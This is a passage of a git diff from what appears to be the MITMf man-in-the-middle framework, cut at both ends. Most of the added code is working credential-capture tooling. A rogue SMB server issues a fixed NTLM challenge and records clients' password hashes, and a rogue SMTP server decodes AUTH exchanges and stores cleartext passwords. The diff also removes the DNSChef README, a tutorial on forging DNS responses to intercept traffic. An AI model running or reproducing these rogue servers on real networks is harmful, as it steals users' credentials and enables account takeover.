SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(4096) + + # STATUS_SUCCESS + if data[8:10] == "\x73\x00": + if Is_Anonymous(data): + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Body = SMBSessEmpty() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + + else: + # Parse NTLMSSP_AUTH packet + ParseSMBHash(data,self.client_address[0]) + + # Send STATUS_SUCCESS + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = SMBSession2Accept() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + # Tree Connect AndX Request + if data[8:10] == "\x75\x00": + ParseShare(data) + # Tree Connect AndX Response + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Body = SMBTreeData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Tree Disconnect. + if data[8:10] == "\x71\x00": + Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##NT_CREATE Access Denied. + if data[8:10] == "\xa2\x00": + Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Trans2 Access Denied. + if data[8:10] == "\x25\x00": + Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##LogOff. + if data[8:10] == "\x74\x00": + Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x02\xff\x00\x27\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + except socket.timeout: + pass + +# SMB Server class, old version +class SMB1LM(BaseRequestHandler): + + def handle(self): + try: + self.request.settimeout(0.5) + data = self.request.recv(1024) + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) + Body.calculate() + Packet = str(head)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + if Is_LMNT_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + + else: + ParseLMNTHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + except Exception: + self.request.close() + pass diff --git a/core/servers/SMTP.py b/core/servers/SMTP.py new file mode 100644 index 0000000..aeb3111 --- /dev/null +++ b/core/servers/SMTP.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from base64 import b64decode, b64encode +from SocketServer import BaseRequestHandler +from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +# ESMTP Server class +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreeting())) + data = self.request.recv(1024) + + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + + if data: + try: + User = filter(None, b64decode(data).split('\x00')) + Username = User[0] + Password = User[1] + except: + Username = b64decode(data) + + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + + if data: + try: Password = b64decode(data) + except: Password = data + + SaveToDb({ + 'module': 'SMTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Username, + 'cleartext': Password, + 'fullhash': Username+":"+Password, + }) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/dns/CHANGELOG b/core/servers/dns/CHANGELOG deleted file mode 100644 index 727a7d7..0000000 --- a/core/servers/dns/CHANGELOG +++ /dev/null @@ -1,29 +0,0 @@ -Version 0.3 - -* Added support for the latest version of the dnslib library - 0.9.3 -* Added support for logging. (idea by kafeine) -* Added support for SRV, DNSKEY, and RRSIG records. (idea by mubix) -* Added support for TCP remote nameserver connections. (idea by mubix) -* DNS name matching is now case insensitive. -* Various small bug fixes and performance tweaks. -* Python libraries are no longer bundled with the distribution, but - compiled in the Windows binary. - -Version 0.2.1 - -* Fixed a Python 2.6 compatibility issue. (thanks Mehran Goudarzi) - -Version 0.2 - -* Added IPv6 support. -* Added AAAA, MX, CNAME, NS, SOA and NAPTR support. -* Added support for ANY queries (returns all known fake records). -* Changed file format to support more DNS record types. -* Added alternative DNS port support (contributed by fnv). -* Added alternative listening port support for the server (contributed by Mark Straver). -* Updated bundled dnslib library to the latest version - 0.8.2. -* Included IPy library for IPv6 support. - -Version 0.1 - -* First public release diff --git a/core/servers/dns/LICENSE b/core/servers/dns/LICENSE deleted file mode 100644 index b826757..0000000 --- a/core/servers/dns/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -Copyright (C) 2014 Peter Kacherginsky -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of the copyright holder nor the names of its contributors - may be used to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/core/servers/dns/README.md b/core/servers/dns/README.md deleted file mode 100644 index 589a274..0000000 --- a/core/servers/dns/README.md +++ /dev/null @@ -1,339 +0,0 @@ -DNSChef -======= - -The latest version of this document can be obtained from http://thesprawl.org/projects/dnschef/ - -DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet. - -There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below. - -The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination. - -Setting up a DNS Proxy -====================== - -Before you can start using DNSChef, you must configure your machine to use a DNS nameserver with the tool running on it. You have several options based on the operating system you are going to use: - -* **Linux** - Edit */etc/resolv.conf* to include a line on the very top with your traffic analysis host (e.g add "nameserver 127.0.0.1" if you are running locally). Alternatively, you can add a DNS server address using tools such as Network Manager. Inside the Network Manager open IPv4 Settings, select *Automatic (DHCP) addresses only* or *Manual* from the *Method* drop down box and edit *DNS Servers* text box to include an IP address with DNSChef running. - -* **Windows** - Select *Network Connections* from the *Control Panel*. Next select one of the connections (e.g. "Local Area Connection"), right-click on it and select properties. From within a newly appearing dialog box, select *Internet Protocol (TCP/IP)* and click on properties. At last select *Use the following DNS server addresses* radio button and enter the IP address with DNSChef running. For example, if running locally enter 127.0.0.1. - -* **OS X** - Open *System Preferences* and click on the *Network* icon. Select the active interface and fill in the *DNS Server* field. If you are using Airport then you will have to click on *Advanced...* button and edit DNS servers from there. Alternatively, you can edit */etc/resolv.conf* and add a fake nameserver to the very top there (e.g "nameserver 127.0.0.1"). - -* **iOS** - Open *Settings* and select *General*. Next select on *Wi-Fi* and click on a blue arrow to the right of an active Access Point from the list. Edit DNS entry to point to the host with DNSChef running. Make sure you have disabled Cellular interface (if available). - -* **Android** - Open *Settings* and select *Wireless and network*. Click on *Wi-Fi settings* and select *Advanced* after pressing the *Options* button on the phone. Enable *Use static IP* checkbox and configure a custom DNS server. - -If you do not have the ability to modify device's DNS settings manually, then you still have several options involving techniques such as [ARP Spoofing](http://en.wikipedia.org/wiki/ARP_spoofing), [Rogue DHCP](http://www.yersinia.net/doc.htm) and other creative methods. - -At last you need to configure a fake service where DNSChef will point all of the requests. For example, if you are trying to intercept web traffic, you must bring up either a separate web server running on port 80 or set up a web proxy (e.g. Burp) to intercept traffic. DNSChef will point queries to your proxy/server host with properly configured services. - -Running DNSChef -=============== - -DNSChef is a cross-platform application developed in Python which should run on most platforms which have a Python interpreter. You can use the supplied *dnschef.exe* executable to run it on Windows hosts without installing a Python interpreter. This guide will concentrate on Unix environments; however, all of the examples below were tested to work on Windows as well. - -Let's get a taste of DNSChef with its most basic monitoring functionality. Execute the following command as root (required to start a server on port 53): - - # ./dnschef.py - - _ _ __ - | | version 0.2 | | / _| - __| |_ __ ___ ___| |__ ___| |_ - / _` | '_ \/ __|/ __| '_ \ / _ \ _| - | (_| | | | \__ \ (__| | | | __/ | - \__,_|_| |_|___/\___|_| |_|\___|_| - iphelix@thesprawl.org - - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - - -Without any parameters, DNSChef will run in full proxy mode. This means that all requests will simply be forwarded to an upstream DNS server (8.8.8.8 by default) and returned back to the quering host. For example, let's query an "A" record for a domain and observe results: - - $ host -t A thesprawl.org - thesprawl.org has address 108.59.3.64 - -DNSChef will print the following log line showing time, source IP address, type of record requested and most importantly which name was queried: - - [23:54:03] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -This mode is useful for simple application monitoring where you need to figure out which domains it uses for its communications. - -DNSChef has full support for IPv6 which can be activated using *-6* or *--ipv6** flags. It works exactly as IPv4 mode with the exception that default listening interface is switched to ::1 and default DNS server is switched to 2001:4860:4860::8888. Here is a sample output: - - # ./dnschef.py -6 - _ _ __ - | | version 0.2 | | / _| - __| |_ __ ___ ___| |__ ___| |_ - / _` | '_ \/ __|/ __| '_ \ / _ \ _| - | (_| | | | \__ \ (__| | | | __/ | - \__,_|_| |_|___/\___|_| |_|\___|_| - iphelix@thesprawl.org - - [*] Using IPv6 mode. - [*] DNSChef started on interface: ::1 - [*] Using the following nameservers: 2001:4860:4860::8888 - [*] No parameters were specified. Running in full proxy mode - [00:35:44] ::1: proxying the response of type 'A' for thesprawl.org - [00:35:44] ::1: proxying the response of type 'AAAA' for thesprawl.org - [00:35:44] ::1: proxying the response of type 'MX' for thesprawl.org - -NOTE: By default, DNSChef creates a UDP listener. You can use TCP instead with the *--tcp* argument discussed later. - -Intercept all responses ------------------------ - -Now, that you know how to start DNSChef let's configure it to fake all replies to point to 127.0.0.1 using the *--fakeip* parameter: - - # ./dnschef.py --fakeip 127.0.0.1 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [23:55:57] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - [23:55:57] 127.0.0.1: proxying the response of type 'AAAA' for google.com - [23:55:57] 127.0.0.1: proxying the response of type 'MX' for google.com - -In the above output you an see that DNSChef was configured to proxy all requests to 127.0.0.1. The first line of log at 08:11:23 shows that we have "cooked" the "A" record response to point to 127.0.0.1. However, further requests for 'AAAA' and 'MX' records are simply proxied from a real DNS server. Let's see the output from requesting program: - - $ host google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address 2001:4860:4001:803::1001 - google.com mail is handled by 10 aspmx.l.google.com. - google.com mail is handled by 40 alt3.aspmx.l.google.com. - google.com mail is handled by 30 alt2.aspmx.l.google.com. - google.com mail is handled by 20 alt1.aspmx.l.google.com. - google.com mail is handled by 50 alt4.aspmx.l.google.com. - -As you can see the program was tricked to use 127.0.0.1 for the IPv4 address. However, the information obtained from IPv6 (AAAA) and mail (MX) records appears completely legitimate. The goal of DNSChef is to have the least impact on the correct operation of the program, so if an application relies on a specific mailserver it will correctly obtain one through this proxied request. - -Let's fake one more request to illustrate how to target multiple records at the same time: - - # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [*] Cooking all AAAA replies to point to ::1 - [00:02:14] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - [00:02:14] 127.0.0.1: cooking the response of type 'AAAA' for google.com to ::1 - [00:02:14] 127.0.0.1: proxying the response of type 'MX' for google.com - -In addition to the --fakeip flag, I have now specified --fakeipv6 designed to fake 'AAAA' record queries. Here is an updated program output: - - $ host google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address ::1 - google.com mail is handled by 10 aspmx.l.google.com. - google.com mail is handled by 40 alt3.aspmx.l.google.com. - google.com mail is handled by 30 alt2.aspmx.l.google.com. - google.com mail is handled by 20 alt1.aspmx.l.google.com. - google.com mail is handled by 50 alt4.aspmx.l.google.com. - -Once more all of the records not explicitly overriden by the application were proxied and returned from the real DNS server. However, IPv4 (A) and IPv6 (AAAA) were both faked to point to a local machine. - -DNSChef supports multiple record types: - - +--------+--------------+-----------+--------------------------+ - | Record | Description |Argument | Example | - +--------+--------------+-----------+--------------------------+ - | A | IPv4 address |--fakeip | --fakeip 192.0.2.1 | - | AAAA | IPv6 address |--fakeipv6 | --fakeipv6 2001:db8::1 | - | MX | Mail server |--fakemail | --fakemail mail.fake.com | - | CNAME | CNAME record |--fakealias| --fakealias www.fake.com | - | NS | Name server |--fakens | --fakens ns.fake.com | - +--------+--------------+-----------+--------------------------+ - -NOTE: For usability not all DNS record types are exposed on the command line. Additional records such as PTR, TXT, SOA, etc. can be specified using the --file flag and an appropriate record header. See the [external definitions file](#external-definitions-file) section below for details. - -At last let's observe how the application handles queries of type ANY: - - # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 --fakemail mail.fake.com --fakealias www.fake.com --fakens ns.fake.com -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [*] Cooking all AAAA replies to point to ::1 - [*] Cooking all MX replies to point to mail.fake.com - [*] Cooking all CNAME replies to point to www.fake.com - [*] Cooking all NS replies to point to ns.fake.com - [00:17:29] 127.0.0.1: cooking the response of type 'ANY' for google.com with all known fake records. - -DNS ANY record queries results in DNSChef returning every faked record that it knows about for an applicable domain. Here is the output that the program will see: - - $ host -t ANY google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address ::1 - google.com mail is handled by 10 mail.fake.com. - google.com is an alias for www.fake.com. - google.com name server ns.fake.com. - -Filtering domains ------------------ - -Using the above example, consider you only want to intercept requests for *thesprawl.org* and leave queries to all other domains such as *webfaction.com* without modification. You can use the *--fakedomains* parameter as illustrated below: - - # ./dnschef.py --fakeip 127.0.0.1 --fakedomains thesprawl.org -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking replies to point to 127.0.0.1 matching: thesprawl.org - [00:23:37] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 127.0.0.1 - [00:23:52] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com - -From the above example the request for *thesprawl.org* was faked; however, the request for *mx9.webfaction.com* was left alone. Filtering domains is very useful when you attempt to isolate a single application without breaking the rest. - -NOTE: DNSChef will not verify whether the domain exists or not before faking the response. If you have specified a domain it will always resolve to a fake value whether it really exists or not. - -Reverse filtering ------------------ - -In another situation you may need to fake responses for all requests except a defined list of domains. You can accomplish this task using the *--truedomains* parameter as follows: - - # ./dnschef.py --fakeip 127.0.0.1 --truedomains thesprawl.org,*.webfaction.com -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking replies to point to 127.0.0.1 not matching: *.webfaction.com, thesprawl.org - [00:27:57] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com - [00:28:05] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - -There are several things going on in the above example. First notice the use of a wildcard (*). All domains matching *.webfaction.com will be reverse matched and resolved to their true values. The request for 'google.com' returned 127.0.0.1 because it was not on the list of excluded domains. - -NOTE: Wildcards are position specific. A mask of type *.thesprawl.org will match www.thesprawl.org but not www.test.thesprawl.org. However, a mask of type *.*.thesprawl.org will match thesprawl.org, www.thesprawl.org and www.test.thesprawl.org. - -External definitions file -------------------------- - -There may be situations where defining a single fake DNS record for all matching domains may not be sufficient. You can use an external file with a collection of DOMAIN=RECORD pairs defining exactly where you want the request to go. - -For example, let create the following definitions file and call it *dnschef.ini*: - - [A] - *.google.com=192.0.2.1 - thesprawl.org=192.0.2.2 - *.wordpress.*=192.0.2.3 - -Notice the section header [A], it defines the record type to DNSChef. Now let's carefully observe the output of multiple queries: - - # ./dnschef.py --file dnschef.ini -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking A replies for domain *.google.com with '192.0.2.1' - [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' - [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' - [00:43:54] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 - [00:44:05] 127.0.0.1: cooking the response of type 'A' for www.google.com to 192.0.2.1 - [00:44:19] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 192.0.2.2 - [00:44:29] 127.0.0.1: proxying the response of type 'A' for www.thesprawl.org - [00:44:40] 127.0.0.1: cooking the response of type 'A' for www.wordpress.org to 192.0.2.3 - [00:44:51] 127.0.0.1: cooking the response of type 'A' for wordpress.com to 192.0.2.3 - [00:45:02] 127.0.0.1: proxying the response of type 'A' for slashdot.org - -Both *google.com* and *www.google.com* matched the *\*.google.com* entry and correctly resolved to *192.0.2.1*. On the other hand *www.thesprawl.org* request was simply proxied instead of being modified. At last all variations of *wordpress.com*, *www.wordpress.org*, etc. matched the *\*.wordpress.\** mask and correctly resolved to *192.0.2.3*. At last an undefined *slashdot.org* query was simply proxied with a real response. - -You can specify section headers for all other supported DNS record types including the ones not explicitly exposed on the command line: [A], [AAAA], [MX], [NS], [CNAME], [PTR], [NAPTR] and [SOA]. For example, let's define a new [PTR] section in the 'dnschef.ini' file: - - [PTR] - *.2.0.192.in-addr.arpa=fake.com - -Let's observe DNSChef's behavior with this new record type: - - ./dnschef.py --file dnschef.ini -q - [sudo] password for iphelix: - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking PTR replies for domain *.2.0.192.in-addr.arpa with 'fake.com' - [00:11:34] 127.0.0.1: cooking the response of type 'PTR' for 1.2.0.192.in-addr.arpa to fake.com - -And here is what a client might see when performing reverse DNS queries: - - $ host 192.0.2.1 localhost - 1.2.0.192.in-addr.arpa domain name pointer fake.com. - -Some records require exact formatting. Good examples are SOA and NAPTR - - [SOA] - *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 - - [NAPTR] - *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . - -See sample dnschef.ini file for additional examples. - -Advanced Filtering ------------------- - -You can mix and match input from a file and command line. For example the following command uses both *--file* and *--fakedomains* parameters: - - # ./dnschef.py --file dnschef.ini --fakeip 6.6.6.6 --fakedomains=thesprawl.org,slashdot.org -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking A replies for domain *.google.com with '192.0.2.1' - [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' - [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' - [*] Cooking A replies to point to 6.6.6.6 matching: *.wordpress.*, *.google.com, thesprawl.org - [*] Cooking A replies to point to 6.6.6.6 matching: slashdot.org, *.wordpress.*, *.google.com, thesprawl.org - [00:49:05] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 - [00:49:15] 127.0.0.1: cooking the response of type 'A' for slashdot.org to 6.6.6.6 - [00:49:31] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 6.6.6.6 - [00:50:08] 127.0.0.1: proxying the response of type 'A' for tor.com - -Notice the definition for *thesprawl.org* in the command line parameter took precedence over *dnschef.ini*. This could be useful if you want to override values in the configuration file. slashdot.org still resolves to the fake IP address because it was specified in the *--fakedomains* parameter. tor.com request is simply proxied since it was not specified in either command line or the configuration file. - -Other configurations -==================== - -For security reasons, DNSChef listens on a local 127.0.0.1 (or ::1 for IPv6) interface by default. You can make DNSChef listen on another interface using the *--interface* parameter: - - # ./dnschef.py --interface 0.0.0.0 -q - [*] DNSChef started on interface: 0.0.0.0 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - [00:50:53] 192.0.2.105: proxying the response of type 'A' for thesprawl.org - -or for IPv6: - - # ./dnschef.py -6 --interface :: -q - [*] Using IPv6 mode. - [*] DNSChef started on interface: :: - [*] Using the following nameservers: 2001:4860:4860::8888 - [*] No parameters were specified. Running in full proxy mode - [00:57:46] 2001:db8::105: proxying the response of type 'A' for thesprawl.org - -By default, DNSChef uses Google's public DNS server to make proxy requests. However, you can define a custom list of nameservers using the *--nameservers* parameter: - - # ./dnschef.py --nameservers 4.2.2.1,4.2.2.2 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 4.2.2.1, 4.2.2.2 - [*] No parameters were specified. Running in full proxy mode - [00:55:08] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -It is possible to specify non-standard nameserver port using IP#PORT notation: - - # ./dnschef.py --nameservers 192.0.2.2#5353 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 192.0.2.2#5353 - [*] No parameters were specified. Running in full proxy mode - [02:03:12] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -At the same time it is possible to start DNSChef itself on an alternative port using the *-p port#* parameter: - - # ./dnschef.py -p 5353 -q - [*] Listening on an alternative port 5353 - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - -DNS protocol can be used over UDP (default) or TCP. DNSChef implements a TCP mode which can be activated with the *--tcp* flag. - -Internal architecture -===================== - -Here is some information on the internals in case you need to adapt the tool for your needs. DNSChef is built on top of the SocketServer module and uses threading to help process multiple requests simultaneously. The tool is designed to listen on TCP or UDP ports (default is port 53) for incoming requests and forward those requests when necessary to a real DNS server over UDP. - -The excellent [dnslib library](https://bitbucket.org/paulc/dnslib/wiki/Home) is used to dissect and reassemble DNS packets. It is particularly useful when generating response packets based on queries. [IPy](https://github.com/haypo/python-ipy/) is used for IPv6 addresses manipulation. Both libraries come bundled with DNSChef to ease installation. - -DNSChef is capable of modifing queries for records of type "A", "AAAA", "MX", "CNAME", "NS", "TXT", "PTR", "NAPTR", "SOA", "ANY". It is very easy to expand or modify behavior for any record. Simply add another **if qtype == "RECORD TYPE")** entry and tell it what to reply with. - -Enjoy the tool and forward all requests and comments to iphelix [at] thesprawl.org. - -Happy hacking! - -Peter diff --git a/core/servers/dns/__init__.py b/core/servers/dns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py deleted file mode 100644 index 28f3396..0000000 --- a/core/servers/http/HTTPserver.py +++ /dev/null @@ -1,64 +0,0 @@ -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging -import threading -import sys - -from core.utils import shutdown -from core.configwatcher import ConfigWatcher -from flask import Flask - -class HTTPserver(ConfigWatcher): - - server = Flask("HTTPserver") - func_list = [] - - __shared_state = {} - - def __init__(self): - self.__dict__ = self.__shared_state - - def start_flask(self): - - @self.server.route('/', defaults={'path': '/'}) - @self.server.route('/') - def catch_all(path): - for func in self.func_list: - resp = func(path) - if resp: - return resp - return path - - self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port'])) - - def start(self): - self.setup_http_logger() - server_thread = threading.Thread(name='HTTPserver', target=self.start_flask) - server_thread.setDaemon(True) - server_thread.start() - - def add_endpoint(self, function): - self.func_list.append(function) - - def setup_http_logger(self): - formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - flask_logger = logging.getLogger('werkzeug') - flask_logger.propagate = False - fileHandler = logging.FileHandler("./logs/mitmf.log") - fileHandler.setFormatter(formatter) - flask_logger.addHandler(fileHandler) diff --git a/core/servers/http/__init__.py b/core/servers/http/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py deleted file mode 100644 index 0d238ca..0000000 --- a/core/servers/smb/SMBserver.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import sys -import threading -import os - -from socket import error as socketerror -from mitmflib.impacket import version, smbserver, LOG -from core.servers.smb.KarmaSMB import KarmaSMBServer -from core.configwatcher import ConfigWatcher -from 